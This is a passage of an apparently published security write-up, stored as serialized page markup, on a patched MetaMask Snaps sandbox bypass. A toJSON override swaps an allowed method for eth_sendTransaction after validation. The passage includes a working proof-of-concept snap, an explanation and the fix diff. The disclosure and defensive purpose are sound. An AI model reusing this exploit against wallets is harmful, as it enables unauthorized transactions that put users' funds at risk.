pollution.\n",{"type":24,"tag":158,"props":40545,"children":40546},{"class":160,"line":301},[40547,40552,40556,40560,40564,40569,40573,40578,40582,40587],{"type":24,"tag":158,"props":40548,"children":40549},{"style":1914},[40550],{"type":29,"value":40551}," if",{"type":24,"tag":158,"props":40553,"children":40554},{"style":188},[40555],{"type":29,"value":2262},{"type":24,"tag":158,"props":40557,"children":40558},{"style":177},[40559],{"type":29,"value":40514},{"type":24,"tag":158,"props":40561,"children":40562},{"style":222},[40563],{"type":29,"value":32683},{"type":24,"tag":158,"props":40565,"children":40566},{"style":1108},[40567],{"type":29,"value":40568}," '__proto__'",{"type":24,"tag":158,"props":40570,"children":40571},{"style":222},[40572],{"type":29,"value":24953},{"type":24,"tag":158,"props":40574,"children":40575},{"style":177},[40576],{"type":29,"value":40577}," propKey",{"type":24,"tag":158,"props":40579,"children":40580},{"style":222},[40581],{"type":29,"value":32683},{"type":24,"tag":158,"props":40583,"children":40584},{"style":1108},[40585],{"type":29,"value":40586}," 'constructor'",{"type":24,"tag":158,"props":40588,"children":40589},{"style":188},[40590],{"type":29,"value":16038},{"type":24,"tag":158,"props":40592,"children":40593},{"class":160,"line":626},[40594,40598,40603],{"type":24,"tag":158,"props":40595,"children":40596},{"style":1914},[40597],{"type":29,"value":16980},{"type":24,"tag":158,"props":40599,"children":40600},{"style":165},[40601],{"type":29,"value":40602}," undefined",{"type":24,"tag":158,"props":40604,"children":40605},{"style":188},[40606],{"type":29,"value":473},{"type":24,"tag":158,"props":40608,"children":40609},{"class":160,"line":668},[40610],{"type":24,"tag":158,"props":40611,"children":40612},{"style":188},[40613],{"type":29,"value":3549},{"type":24,"tag":158,"props":40615,"children":40616},{"class":160,"line":676},[40617,40622,40627],{"type":24,"tag":158,"props":40618,"children":40619},{"style":1914},[40620],{"type":29,"value":40621}," return",{"type":24,"tag":158,"props":40623,"children":40624},{"style":177},[40625],{"type":29,"value":40626}," propValue",{"type":24,"tag":158,"props":40628,"children":40629},{"style":188},[40630],{"type":29,"value":473},{"type":24,"tag":158,"props":40632,"children":40633},{"class":160,"line":684},[40634],{"type":24,"tag":158,"props":40635,"children":40636},{"style":188},[40637],{"type":29,"value":39809},{"type":24,"tag":158,"props":40639,"children":40640},{"class":160,"line":700},[40641],{"type":24,"tag":158,"props":40642,"children":40643},{"style":188},[40644],{"type":29,"value":39676},{"type":24,"tag":158,"props":40646,"children":40647},{"class":160,"line":785},[40648],{"type":24,"tag":158,"props":40649,"children":40650},{"style":188},[40651],{"type":29,"value":36601},{"type":24,"tag":25,"props":40653,"children":40654},{},[40655,40657,40663,40665,40670,40672,40678,40680,40686],{"type":29,"value":40656},"The function performs a ",{"type":24,"tag":154,"props":40658,"children":40660},{"className":40659},[],[40661],{"type":29,"value":40662},"JSON.parse(JSON.stringify(value))",{"type":29,"value":40664}," in the argument sent to ",{"type":24,"tag":154,"props":40666,"children":40668},{"className":40667},[],[40669],{"type":29,"value":40340},{"type":29,"value":40671},". This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a ",{"type":24,"tag":154,"props":40673,"children":40675},{"className":40674},[],[40676],{"type":29,"value":40677},"toJSON",{"type":29,"value":40679}," function in a legit ",{"type":24,"tag":154,"props":40681,"children":40683},{"className":40682},[],[40684],{"type":29,"value":40685},"snap.request",{"type":29,"value":40687}," argument:",{"type":24,"tag":1786,"props":40689,"children":40690},{},[40691,40696,40701],{"type":24,"tag":1790,"props":40692,"children":40693},{},[40694],{"type":29,"value":40695},"assertSnapOutboundRequest(args) -> pass the assertion",{"type":24,"tag":1790,"props":40697,"children":40698},{},[40699],{"type":29,"value":40700},"sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object",{"type":24,"tag":1790,"props":40702,"children":40703},{},[40704],{"type":29,"value":40705},"originalRequest(sanitizedArgs) -> forwards the malicious object",{"type":24,"tag":25,"props":40707,"children":40708},{},[40709],{"type":29,"value":40710},"The assertion bypass can be useful on two occasions:",{"type":24,"tag":1786,"props":40712,"children":40713},{},[40714,40719],{"type":24,"tag":1790,"props":40715,"children":40716},{},[40717],{"type":29,"value":40718},"forward blocked RPC methods",{"type":24,"tag":1790,"props":40720,"children":40721},{},[40722,40724,40729,40731,40737,40739,40744],{"type":29,"value":40723},"Making requests in ",{"type":24,"tag":154,"props":40725,"children":40727},{"className":40726},[],[40728],{"type":29,"value":40685},{"type":29,"value":40730}," that were only supposed to be done within ",{"type":24,"tag":154,"props":40732,"children":40734},{"className":40733},[],[40735],{"type":29,"value":40736},"ethereum.request",{"type":29,"value":40738}," (with ",{"type":24,"tag":154,"props":40740,"children":40742},{"className":40741},[],[40743],{"type":29,"value":39913},{"type":29,"value":40745}," enabled).",{"type":24,"tag":25,"props":40747,"children":40748},{},[40749],{"type":29,"value":40750},"This particular vulnerability allows the snap to perform ethereum requests without permissions.",{"type":24,"tag":395,"props":40752,"children":40753},{"id":7316},[40754],{"type":29,"value":7319},{"type":24,"tag":25,"props":40756,"children":40757},{},[40758],{"type":29,"value":40759},"The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.",{"type":24,"tag":25,"props":40761,"children":40762},{},[40763],{"type":24,"tag":84,"props":40764,"children":40766},{"alt":7,"src":40765},"/posts/metamask-snaps/note.png",[],{"type":24,"tag":395,"props":40768,"children":40770},{"id":40769},"proof-of-concept",[40771],{"type":29,"value":36092},{"type":24,"tag":25,"props":40773,"children":40774},{},[40775,40777,40782,40784,40789,40791,40797],{"type":29,"value":40776},"To demonstrate the issue, we created a snap without the ",{"type":24,"tag":154,"props":40778,"children":40780},{"className":40779},[],[40781],{"type":29,"value":39913},{"type":29,"value":40783}," permission, and used the ",{"type":24,"tag":154,"props":40785,"children":40787},{"className":40786},[],[40788],{"type":29,"value":39442},{"type":29,"value":40790}," interface to call ",{"type":24,"tag":154,"props":40792,"children":40794},{"className":40793},[],[40795],{"type":29,"value":40796},"eth_sendTransaction",{"type":29,"value":40798},". According to the documentation, this shouldn't be possible:",{"type":24,"tag":147,"props":40800,"children":40802},{"className":36877,"code":40801,"language":36879,"meta":7,"style":7},"import { OnRpcRequestHandler } from '@metamask/snaps-types';\n\n\nfunction jsonExploit(){\n let x = [] as any\n\n x.method = \"snap_dialog\"\n\n x.toJSON = () => {\n return {\n method: \"eth_requestAccounts\",\n params: []\n }\n }\n\n return snap.request(x)\n\n}\n\nfunction transactionExploit(){\n let x = [] as any\n\n x.method = \"snap_dialog\"\n\n x.toJSON = () => {\n return {\n method: \"eth_sendTransaction\",\n params: [{\n from: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\", // change this to your address\n to: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\",\n value: \"0x1\",\n }]\n }\n }\n\n return snap.request(x);\n}\n\nexport const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {\n\n switch (request.method) {\n case 'json':\n return jsonExploit();\n case 'transaction':\n return transactionExploit();\n default:\n throw new Error('Method not found.');\n }\n};\n",[40803],{"type":24,"tag":154,"props":40804,"children":40805},{"__ignoreMap":7},[40806,40839,40846,40853,40870,40899,40906,40931,40938,40970,40981,40998,41011,41018,41025,41032,41064,41071,41078,41085,41101,41128,41135,41158,41165,41196,41207,41223,41235,41256,41271,41288,41296,41303,41310,41317,41348,41355,41362,41422,41429,41457,41474,41489,41505,41520,41532,41562,41569],{"type":24,"tag":158,"props":40807,"children":40808},{"class":160,"line":161},[40809,40813,40817,40822,40826,40830,40835],{"type":24,"tag":158,"props":40810,"children":40811},{"style":1914},[40812],{"type":29,"value":20726},{"type":24,"tag":158,"props":40814,"children":40815},{"style":188},[40816],{"type":29,"value":372},{"type":24,"tag":158,"props":40818,"children":40819},{"style":177},[40820],{"type":29,"value":40821},"OnRpcRequestHandler",{"type":24,"tag":158,"props":40823,"children":40824},{"style":188},[40825],{"type":29,"value":37466},{"type":24,"tag":158,"props":40827,"children":40828},{"style":1914},[40829],{"type":29,"value":20716},{"type":24,"tag":158,"props":40831,"children":40832},{"style":1108},[40833],{"type":29,"value":40834}," '@metamask/snaps-types'",{"type":24,"tag":158,"props":40836,"children":40837},{"style":188},[40838],{"type":29,"value":473},{"type":24,"tag":158,"props":40840,"children":40841},{"class":160,"line":213},[40842],{"type":24,"tag":158,"props":40843,"children":40844},{"emptyLinePlaceholder":16},[40845],{"type":29,"value":481},{"type":24,"tag":158,"props":40847,"children":40848},{"class":160,"line":238},[40849],{"type":24,"tag":158,"props":40850,"children":40851},{"emptyLinePlaceholder":16},[40852],{"type":29,"value":481},{"type":24,"tag":158,"props":40854,"children":40855},{"class":160,"line":259},[40856,40860,40865],{"type":24,"tag":158,"props":40857,"children":40858},{"style":165},[40859],{"type":29,"value":32638},{"type":24,"tag":158,"props":40861,"children":40862},{"style":496},[40863],{"type":29,"value":40864}," jsonExploit",{"type":24,"tag":158,"props":40866,"children":40867},{"style":188},[40868],{"type":29,"value":40869},"(){\n",{"type":24,"tag":158,"props":40871,"children":40872},{"class":160,"line":280},[40873,40877,40881,40885,40890,40894],{"type":24,"tag":158,"props":40874,"children":40875},{"style":165},[40876],{"type":29,"value":9496},{"type":24,"tag":158,"props":40878,"children":40879},{"style":177},[40880],{"type":29,"value":20307},{"type":24,"tag":158,"props":40882,"children":40883},{"style":222},[40884],{"type":29,"value":462},{"type":24,"tag":158,"props":40886,"children":40887},{"style":188},[40888],{"type":29,"value":40889}," [] ",{"type":24,"tag":158,"props":40891,"children":40892},{"style":1914},[40893],{"type":29,"value":2245},{"type":24,"tag":158,"props":40895,"children":40896},{"style":171},[40897],{"type":29,"value":40898}," any\n",{"type":24,"tag":158,"props":40900,"children":40901},{"class":160,"line":301},[40902],{"type":24,"tag":158,"props":40903,"children":40904},{"emptyLinePlaceholder":16},[40905],{"type":29,"value":481},{"type":24,"tag":158,"props":40907,"children":40908},{"class":160,"line":626},[40909,40914,40918,40922,40926],{"type":24,"tag":158,"props":40910,"children":40911},{"style":177},[40912],{"type":29,"value":40913}," x",{"type":24,"tag":158,"props":40915,"children":40916},{"style":188},[40917],{"type":29,"value":347},{"type":24,"tag":158,"props":40919,"children":40920},{"style":177},[40921],{"type":29,"value":39577},{"type":24,"tag":158,"props":40923,"children":40924},{"style":222},[40925],{"type":29,"value":462},{"type":24,"tag":158,"props":40927,"children":40928},{"style":1108},[40929],{"type":29,"value":40930}," \"snap_dialog\"\n",{"type":24,"tag":158,"props":40932,"children":40933},{"class":160,"line":668},[40934],{"type":24,"tag":158,"props":40935,"children":40936},{"emptyLinePlaceholder":16},[40937],{"type":29,"value":481},{"type":24,"tag":158,"props":40939,"children":40940},{"class":160,"line":676},[40941,40945,40949,40953,40957,40962,40966],{"type":24,"tag":158,"props":40942,"children":40943},{"style":177},[40944],{"type":29,"value":40913},{"type":24,"tag":158,"props":40946,"children":40947},{"style":188},[40948],{"type":29,"value":347},{"type":24,"tag":158,"props":40950,"children":40951},{"style":496},[40952],{"type":29,"value":40677},{"type":24,"tag":158,"props":40954,"children":40955},{"style":222},[40956],{"type":29,"value":462},{"type":24,"tag":158,"props":40958,"children":40959},{"style":188},[40960],{"type":29,"value":40961}," () ",{"type":24,"tag":158,"props":40963,"children":40964},{"style":165},[40965],{"type":29,"value":16056},{"type":24,"tag":158,"props":40967,"children":40968},{"style":188},[40969],{"type":29,"value":210},{"type":24,"tag":158,"props":40971,"children":40972},{"class":160,"line":684},[40973,40977],{"type":24,"tag":158,"props":40974,"children":40975},{"style":1914},[40976],{"type":29,"value":18227},{"type":24,"tag":158,"props":40978,"children":40979},{"style":188},[40980],{"type":29,"value":210},{"type":24,"tag":158,"props":40982,"children":40983},{"class":160,"line":700},[40984,40989,40994],{"type":24,"tag":158,"props":40985,"children":40986},{"style":177},[40987],{"type":29,"value":40988}," method:",{"type":24,"tag":158,"props":40990,"children":40991},{"style":1108},[40992],{"type":29,"value":40993}," \"eth_requestAccounts\"",{"type":24,"tag":158,"props":40995,"children":40996},{"style":188},[40997],{"type":29,"value":235},{"type":24,"tag":158,"props":40999,"children":41000},{"class":160,"line":785},[41001,41006],{"type":24,"tag":158,"props":41002,"children":41003},{"style":177},[41004],{"type":29,"value":41005}," params:",{"type":24,"tag":158,"props":41007,"children":41008},{"style":188},[41009],{"type":29,"value":41010}," []\n",{"type":24,"tag":158,"props":41012,"children":41013},{"class":160,"line":1447},[41014],{"type":24,"tag":158,"props":41015,"children":41016},{"style":188},[41017],{"type":29,"value":3967},{"type":24,"tag":158,"props":41019,"children":41020},{"class":160,"line":1509},[41021],{"type":24,"tag":158,"props":41022,"children":41023},{"style":188},[41024],{"type":29,"value":4366},{"type":24,"tag":158,"props":41026,"children":41027},{"class":160,"line":1527},[41028],{"type":24,"tag":158,"props":41029,"children":41030},{"emptyLinePlaceholder":16},[41031],{"type":29,"value":481},{"type":24,"tag":158,"props":41033,"children":41034},{"class":160,"line":1545},[41035,41039,41044,41048,41052,41056,41060],{"type":24,"tag":158,"props":41036,"children":41037},{"style":1914},[41038],{"type":29,"value":40463},{"type":24,"tag":158,"props":41040,"children":41041},{"style":177},[41042],{"type":29,"value":41043}," snap",{"type":24,"tag":158,"props":41045,"children":41046},{"style":188},[41047],{"type":29,"value":347},{"type":24,"tag":158,"props":41049,"children":41050},{"style":496},[41051],{"type":29,"value":32754},{"type":24,"tag":158,"props":41053,"children":41054},{"style":188},[41055],{"type":29,"value":504},{"type":24,"tag":158,"props":41057,"children":41058},{"style":177},[41059],{"type":29,"value":20518},{"type":24,"tag":158,"props":41061,"children":41062},{"style":188},[41063],{"type":29,"value":2125},{"type":24,"tag":158,"props":41065,"children":41066},{"class":160,"line":1618},[41067],{"type":24,"tag":158,"props":41068,"children":41069},{"emptyLinePlaceholder":16},[41070],{"type":29,"value":481},{"type":24,"tag":158,"props":41072,"children":41073},{"class":160,"line":1635},[41074],{"type":24,"tag":158,"props":41075,"children":41076},{"style":188},[41077],{"type":29,"value":307},{"type":24,"tag":158,"props":41079,"children":41080},{"class":160,"line":1644},[41081],{"type":24,"tag":158,"props":41082,"children":41083},{"emptyLinePlaceholder":16},[41084],{"type":29,"value":481},{"type":24,"tag":158,"props":41086,"children":41087},{"class":160,"line":1652},[41088,41092,41097],{"type":24,"tag":158,"props":41089,"children":41090},{"style":165},[41091],{"type":29,"value":32638},{"type":24,"tag":158,"props":41093,"children":41094},{"style":496},[41095],{"type":29,"value":41096}," transactionExploit",{"type":24,"tag":158,"props":41098,"children":41099},{"style":188},[41100],{"type":29,"value":40869},{"type":24,"tag":158,"props":41102,"children":41103},{"class":160,"line":1704},[41104,41108,41112,41116,41120,41124],{"type":24,"tag":158,"props":41105,"children":41106},{"style":165},[41107],{"type":29,"value":9496},{"type":24,"tag":158,"props":41109,"children":41110},{"style":177},[41111],{"type":29,"value":20307},{"type":24,"tag":158,"props":41113,"children":41114},{"style":222},[41115],{"type":29,"value":462},{"type":24,"tag":158,"props":41117,"children":41118},{"style":188},[41119],{"type":29,"value":40889},{"type":24,"tag":158,"props":41121,"children":41122},{"style":1914},[41123],{"type":29,"value":2245},{"type":24,"tag":158,"props":41125,"children":41126},{"style":171},[41127],{"type":29,"value":40898},{"type":24,"tag":158,"props":41129,"children":41130},{"class":160,"line":1713},[41131],{"type":24,"tag":158,"props":41132,"children":41133},{"emptyLinePlaceholder":16},[41134],{"type":29,"value":481},{"type":24,"tag":158,"props":41136,"children":41137},{"class":160,"line":1731},[41138,41142,41146,41150,41154],{"type":24,"tag":158,"props":41139,"children":41140},{"style":177},[41141],{"type":29,"value":40913},{"type":24,"tag":158,"props":41143,"children":41144},{"style":188},[41145],{"type":29,"value":347},{"type":24,"tag":158,"props":41147,"children":41148},{"style":177},[41149],{"type":29,"value":39577},{"type":24,"tag":158,"props":41151,"children":41152},{"style":222},[41153],{"type":29,"value":462},{"type":24,"tag":158,"props":41155,"children":41156},{"style":1108},[41157],{"type":29,"value":40930},{"type":24,"tag":158,"props":41159,"children":41160},{"class":160,"line":5485},[41161],{"type":24,"tag":158,"props":41162,"children":41163},{"emptyLinePlaceholder":16},[41164],{"type":29,"value":481},{"type":24,"tag":158,"props":41166,"children":41167},{"class":160,"line":5493},[41168,41172,41176,41180,41184,41188,41192],{"type":24,"tag":158,"props":41169,"children":41170},{"style":177},[41171],{"type":29,"value":40913},{"type":24,"tag":158,"props":41173,"children":41174},{"style":188},[41175],{"type":29,"value":347},{"type":24,"tag":158,"props":41177,"children":41178},{"style":496},[41179],{"type":29,"value":40677},{"type":24,"tag":158,"props":41181,"children":41182},{"style":222},[41183],{"type":29,"value":462},{"type":24,"tag":158,"props":41185,"children":41186},{"style":188},[41187],{"type":29,"value":40961},{"type":24,"tag":158,"props":41189,"children":41190},{"style":165},[41191],{"type":29,"value":16056},{"type":24,"tag":158,"props":41193,"children":41194},{"style":188},[41195],{"type":29,"value":210},{"type":24,"tag":158,"props":41197,"children":41198},{"class":160,"line":5553},[41199,41203],{"type":24,"tag":158,"props":41200,"children":41201},{"style":1914},[41202],{"type":29,"value":18227},{"type":24,"tag":158,"props":41204,"children":41205},{"style":188},[41206],{"type":29,"value":210},{"type":24,"tag":158,"props":41208,"children":41209},{"class":160,"line":10636},[41210,41214,41219],{"type":24,"tag":158,"props":41211,"children":41212},{"style":177},[41213],{"type":29,"value":40988},{"type":24,"tag":158,"props":41215,"children":41216},{"style":1108},[41217],{"type":29,"value":41218}," \"eth_sendTransaction\"",{"type":24,"tag":158,"props":41220,"children":41221},{"style":188},[41222],{"type":29,"value":235},{"type":24,"tag":158,"props":41224,"children":41225},{"class":160,"line":10652},[41226,41230],{"type":24,"tag":158,"props":41227,"children":41228},{"style":177},[41229],{"type":29,"value":41005},{"type":24,"tag":158,"props":41231,"children":41232},{"style":188},[41233],{"type":29,"value":41234}," [{\n",{"type":24,"tag":158,"props":41236,"children":41237},{"class":160,"line":10696},[41238,41242,41247,41251],{"type":24,"tag":158,"props":41239,"children":41240},{"style":177},[41241],{"type":29,"value":33326},{"type":24,"tag":158,"props":41243,"children":41244},{"style":1108},[41245],{"type":29,"value":41246}," \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\"",{"type":24,"tag":158,"props":41248,"children":41249},{"style":188},[41250],{"type":29,"value":191},{"type":24,"tag":158,"props":41252,"children":41253},{"style":2588},[41254],{"type":29,"value":41255},"// change this to your address\n",{"type":24,"tag":158,"props":41257,"children":41258},{"class":160,"line":10801},[41259,41263,41267],{"type":24,"tag":158,"props":41260,"children":41261},{"style":177},[41262],{"type":29,"value":33342},{"type":24,"tag":158,"props":41264,"children":41265},{"style":1108},[41266],{"type":29,"value":41246},{"type":24,"tag":158,"props":41268,"children":41269},{"style":188},[41270],{"type":29,"value":235},{"type":24,"tag":158,"props":41272,"children":41273},{"class":160,"line":24754},[41274,41279,41284],{"type":24,"tag":158,"props":41275,"children":41276},{"style":177},[41277],{"type":29,"value":41278}," value:",{"type":24,"tag":158,"props":41280,"children":41281},{"style":1108},[41282],{"type":29,"value":41283}," \"0x1\"",{"type":24,"tag":158,"props":41285,"children":41286},{"style":188},[41287],{"type":29,"value":235},{"type":24,"tag":158,"props":41289,"children":41290},{"class":160,"line":24789},[41291],{"type":24,"tag":158,"props":41292,"children":41293},{"style":188},[41294],{"type":29,"value":41295}," }]\n",{"type":24,"tag":158,"props":41297,"children":41298},{"class":160,"line":24797},[41299],{"type":24,"tag":158,"props":41300,"children":41301},{"style":188},[41302],{"type":29,"value":3967},{"type":24,"tag":158,"props":41304,"children":41305},{"class":160,"line":24805},[41306],{"type":24,"tag":158,"props":41307,"children":41308},{"style":188},[41309],{"type":29,"value":4366},{"type":24,"tag":158,"props":41311,"children":41312},{"class":160,"line":24814},[41313],{"type":24,"tag":158,"props":41314,"children":41315},{"emptyLinePlaceholder":16},[41316],{"type":29,"value":481},{"type":24,"tag":158,"props":41318,"children":41319},{"class":160,"line":24856},[41320,41324,41328,41332,41336,41340,41344],{"type":24,"tag":158,"props":41321,"children":41322},{"style":1914},[41323],{"type":29,"value":40463},{"type":24,"tag":158,"props":41325,"children":41326},{"style":177},[41327],{"type":29,"value":41043},{"type":24,"tag":158,"props":41329,"children":41330},{"style":188},[41331],{"type":29,"value":347},{"type":24,"tag":158,"props":41333,"children":41334},{"style":496},[41335],{"type":29,"value":32754},{"type":24,"tag":158,"props":41337,"children":41338},{"style":188},[41339],{"type":29,"value":504},{"type":24,"tag":158,"props":41341,"children":41342},{"style":177},[41343],{"type":29,"value":20518},{"type":24,"tag":158,"props":41345,"children":41346},{"style":188},[41347],{"type":29,"value":1071},{"type":24,"tag":158,"props":41349,"children":41350},{"class":160,"line":24889},[41351],{"type":24,"tag":158,"props":41352,"children":41353},{"style":188},[41354],{"type":29,"value":307},{"type":24,"tag":158,"props":41356,"children":41357},{"class":160,"line":24897},[41358],{"type":24,"tag":158,"props":41359,"children":41360},{"emptyLinePlaceholder":16},[41361],{"type":29,"value":481},{"type":24,"tag":158,"props":41363,"children":41364},{"class":160,"line":24905},[41365,41369,41373,41378,41382,41387,41391,41396,41401,41405,41409,41414,41418],{"type":24,"tag":158,"props":41366,"children":41367},{"style":1914},[41368],{"type":29,"value":39473},{"type":24,"tag":158,"props":41370,"children":41371},{"style":165},[41372],{"type":29,"value":40375},{"type":24,"tag":158,"props":41374,"children":41375},{"style":496},[41376],{"type":29,"value":41377}," onRpcRequest",{"type":24,"tag":158,"props":41379,"children":41380},{"style":222},[41381],{"type":29,"value":225},{"type":24,"tag":158,"props":41383,"children":41384},{"style":171},[41385],{"type":29,"value":41386}," OnRpcRequestHandler",{"type":24,"tag":158,"props":41388,"children":41389},{"style":222},[41390],{"type":29,"value":462},{"type":24,"tag":158,"props":41392,"children":41393},{"style":188},[41394],{"type":29,"value":41395}," ({ ",{"type":24,"tag":158,"props":41397,"children":41398},{"style":177},[41399],{"type":29,"value":41400},"origin",{"type":24,"tag":158,"props":41402,"children":41403},{"style":188},[41404],{"type":29,"value":191},{"type":24,"tag":158,"props":41406,"children":41407},{"style":177},[41408],{"type":29,"value":32754},{"type":24,"tag":158,"props":41410,"children":41411},{"style":188},[41412],{"type":29,"value":41413}," }) ",{"type":24,"tag":158,"props":41415,"children":41416},{"style":165},[41417],{"type":29,"value":16056},{"type":24,"tag":158,"props":41419,"children":41420},{"style":188},[41421],{"type":29,"value":210},{"type":24,"tag":158,"props":41423,"children":41424},{"class":160,"line":24914},[41425],{"type":24,"tag":158,"props":41426,"children":41427},{"emptyLinePlaceholder":16},[41428],{"type":29,"value":481},{"type":24,"tag":158,"props":41430,"children":41431},{"class":160,"line":24990},[41432,41437,41441,41445,41449,41453],{"type":24,"tag":158,"props":41433,"children":41434},{"style":1914},[41435],{"type":29,"value":41436}," switch",{"type":24,"tag":158,"props":41438,"children":41439},{"style":188},[41440],{"type":29,"value":2262},{"type":24,"tag":158,"props":41442,"children":41443},{"style":177},[41444],{"type":29,"value":32754},{"type":24,"tag":158,"props":41446,"children":41447},{"style":188},[41448],{"type":29,"value":347},{"type":24,"tag":158,"props":41450,"children":41451},{"style":177},[41452],{"type":29,"value":39577},{"type":24,"tag":158,"props":41454,"children":41455},{"style":188},[41456],{"type":29,"value":16038},{"type":24,"tag":158,"props":41458,"children":41459},{"class":160,"line":25023},[41460,41465,41470],{"type":24,"tag":158,"props":41461,"children":41462},{"style":1914},[41463],{"type":29,"value":41464}," case",{"type":24,"tag":158,"props":41466,"children":41467},{"style":1108},[41468],{"type":29,"value":41469}," 'json'",{"type":24,"tag":158,"props":41471,"children":41472},{"style":188},[41473],{"type":29,"value":7222},{"type":24,"tag":158,"props":41475,"children":41476},{"class":160,"line":25031},[41477,41481,41485],{"type":24,"tag":158,"props":41478,"children":41479},{"style":1914},[41480],{"type":29,"value":40621},{"type":24,"tag":158,"props":41482,"children":41483},{"style":496},[41484],{"type":29,"value":40864},{"type":24,"tag":158,"props":41486,"children":41487},{"style":188},[41488],{"type":29,"value":5329},{"type":24,"tag":158,"props":41490,"children":41491},{"class":160,"line":25039},[41492,41496,41501],{"type":24,"tag":158,"props":41493,"children":41494},{"style":1914},[41495],{"type":29,"value":41464},{"type":24,"tag":158,"props":41497,"children":41498},{"style":1108},[41499],{"type":29,"value":41500}," 'transaction'",{"type":24,"tag":158,"props":41502,"children":41503},{"style":188},[41504],{"type":29,"value":7222},{"type":24,"tag":158,"props":41506,"children":41507},{"class":160,"line":25076},[41508,41512,41516],{"type":24,"tag":158,"props":41509,"children":41510},{"style":1914},[41511],{"type":29,"value":40621},{"type":24,"tag":158,"props":41513,"children":41514},{"style":496},[41515],{"type":29,"value":41096},{"type":24,"tag":158,"props":41517,"children":41518},{"style":188},[41519],{"type":29,"value":5329},{"type":24,"tag":158,"props":41521,"children":41522},{"class":160,"line":25089},[41523,41528],{"type":24,"tag":158,"props":41524,"children":41525},{"style":1914},[41526],{"type":29,"value":41527}," default",{"type":24,"tag":158,"props":41529,"children":41530},{"style":188},[41531],{"type":29,"value":7222},{"type":24,"tag":158,"props":41533,"children":41534},{"class":160,"line":25102},[41535,41540,41544,41549,41553,41558],{"type":24,"tag":158,"props":41536,"children":41537},{"style":1914},[41538],{"type":29,"value":41539}," throw",{"type":24,"tag":158,"props":41541,"children":41542},{"style":165},[41543],{"type":29,"value":33194},{"type":24,"tag":158,"props":41545,"children":41546},{"style":496},[41547],{"type":29,"value":41548}," Error",{"type":24,"tag":158,"props":41550,"children":41551},{"style":188},[41552],{"type":29,"value":504},{"type":24,"tag":158,"props":41554,"children":41555},{"style":1108},[41556],{"type":29,"value":41557},"'Method not found.'",{"type":24,"tag":158,"props":41559,"children":41560},{"style":188},[41561],{"type":29,"value":1071},{"type":24,"tag":158,"props":41563,"children":41564},{"class":160,"line":25115},[41565],{"type":24,"tag":158,"props":41566,"children":41567},{"style":188},[41568],{"type":29,"value":4366},{"type":24,"tag":158,"props":41570,"children":41571},{"class":160,"line":25169},[41572],{"type":24,"tag":158,"props":41573,"children":41574},{"style":188},[41575],{"type":29,"value":17814},{"type":24,"tag":25,"props":41577,"children":41578},{},[41579,41581,41587,41589,41594],{"type":29,"value":41580},"We set ",{"type":24,"tag":154,"props":41582,"children":41584},{"className":41583},[],[41585],{"type":29,"value":41586},"x.method = \"snap_dialog\"",{"type":29,"value":41588}," to pass the assertion and setup a toJSON function to change this method to ",{"type":24,"tag":154,"props":41590,"children":41592},{"className":41591},[],[41593],{"type":29,"value":40796},{"type":29,"value":41595}," after.",{"type":24,"tag":395,"props":41597,"children":41599},{"id":41598},"mitigation",[41600],{"type":29,"value":41601},"Mitigation",{"type":24,"tag":25,"props":41603,"children":41604},{},[41605,41607,41612,41614,41621],{"type":29,"value":41606},"Metamask mitigated this issue by asserting the arguments after the ",{"type":24,"tag":154,"props":41608,"children":41610},{"className":41609},[],[41611],{"type":29,"value":40340},{"type":29,"value":41613}," function execution. The patch was introduced on commit ",{"type":24,"tag":101,"props":41615,"children":41618},{"href":41616,"rel":41617},"https://github.com/MetaMask/snaps/pull/1762/commits/168ff082102a65e2aad428f44c5b10f9a100c689",[105],[41619],{"type":29,"value":41620},"168ff08",{"type":29,"value":41622}," with the following changes:",{"type":24,"tag":147,"props":41624,"children":41628},{"className":41625,"code":41626,"language":41627,"meta":7,"style":7},"language-diff shiki shiki-themes slack-dark","const request = async (args: RequestArguments) => {\n- assertEthereumOutboundRequest(args);\n- const sanitizedArgs = getSafeJson(args);\n+ const sanitizedArgs = getSafeJson(args) as RequestArguments;\n+ assertEthereumOutboundRequest(sanitizedArgs);\n","diff",[41629],{"type":24,"tag":154,"props":41630,"children":41631},{"__ignoreMap":7},[41632,41640,41648,41656,41664],{"type":24,"tag":158,"props":41633,"children":41634},{"class":160,"line":161},[41635],{"type":24,"tag":158,"props":41636,"children":41637},{"style":188},[41638],{"type":29,"value":41639},"const request = async (args: RequestArguments) => {\n",{"type":24,"tag":158,"props":41641,"children":41642},{"class":160,"line":213},[41643],{"type":24,"tag":158,"props":41644,"children":41645},{"style":1108},[41646],{"type":29,"value":41647},"- assertEthereumOutboundRequest(args);\n",{"type":24,"tag":158,"props":41649,"children":41650},{"class":160,"line":238},[41651],{"type":24,"tag":158,"props":41652,"children":41653},{"style":1108},[41654],{"type":29,"value":41655},"- const sanitizedArgs = getSafeJson(args);\n",{"type":24,"tag":158,"props":41657,"children":41658},{"class":160,"line":259},[41659],{"type":24,"tag":158,"props":41660,"children":41661},{"style":465},[41662],{"type":29,"value":41663},"+ const sanitizedArgs = getSafeJson(args) as RequestArguments;\n",{"type":24,"tag":158,"props":41665,"children":41666},{"class":160,"line":280},[41667],{"type":24,"tag":158,"props":41668,"children":41669},{"style":465},[41670],{"type":29,"value":41671},"+ assertEthereumOutboundRequest(sanitizedArgs);\n",{"type":24,"tag":59,"props":41673,"children":41674},{"id":30191},[41675],{"type":29,"value":20189},{"type":24,"tag":25,"props":41677,"children":41678},{},[41679],{"type":29,"value":41680},"This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.",{"type":24,"tag":25,"props":41682,"children":41683},{},[41684],{"type":29,"value":41685},"Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more 